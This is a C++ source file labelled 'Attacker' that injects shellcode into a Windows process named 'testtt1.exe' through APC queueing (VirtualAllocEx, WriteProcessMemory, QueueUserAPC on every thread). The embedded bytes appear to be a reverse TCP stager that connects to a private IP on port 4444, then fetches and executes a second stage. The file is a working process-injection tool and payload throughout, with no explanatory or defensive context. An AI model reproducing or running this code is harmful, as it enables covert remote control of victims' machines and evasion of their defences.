// Attacker
#include <iostream>
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>

int main()
{
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
		"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
		"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
		"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
		"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
		"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
		"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
		"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
		"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
		"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
		"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
		"\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x89\x80\x41\x54\x49\x89\xe4"
		"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
		"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
		"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
		"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
		"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
		"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
		"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
		"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
		"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
		"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
		"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
		"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
		"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
		"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
		"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
		"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
		"\xff\xe7\x58\x6a\x00\x59\xbb\xe0\x1d\x2a\x0a\x41\x89\xda\xff"
		"\xd5";
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
	HANDLE victimProcess = NULL;
	PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
	THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
	std::vector<DWORD> threadIds;
	SIZE_T shellcodeSize = sizeof(shellcode);
	HANDLE threadHandle = NULL;

	if (Process32First(snapshot, &processEntry)) {
		while (_wcsicmp(processEntry.szExeFile, L"testtt1.exe") != 0) {
			Process32Next(snapshot, &processEntry);
		}
	}

	victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
	LPVOID shellcodeAddr = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellcodeAddr;
	WriteProcessMemory(victimProcess, shellcodeAddr, shellcode, shellcodeSize, NULL);

	if (Thread32First(snapshot, &threadEntry)) {
		do {
			if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
				threadIds.push_back(threadEntry.th32ThreadID);
			}
		} while (Thread32Next(snapshot, &threadEntry));
	}

	for (DWORD threadId : threadIds) {
		printf("Thread : 0x%08x\n", threadId);
		threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
		QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
		getchar();
	}

	return 0;
}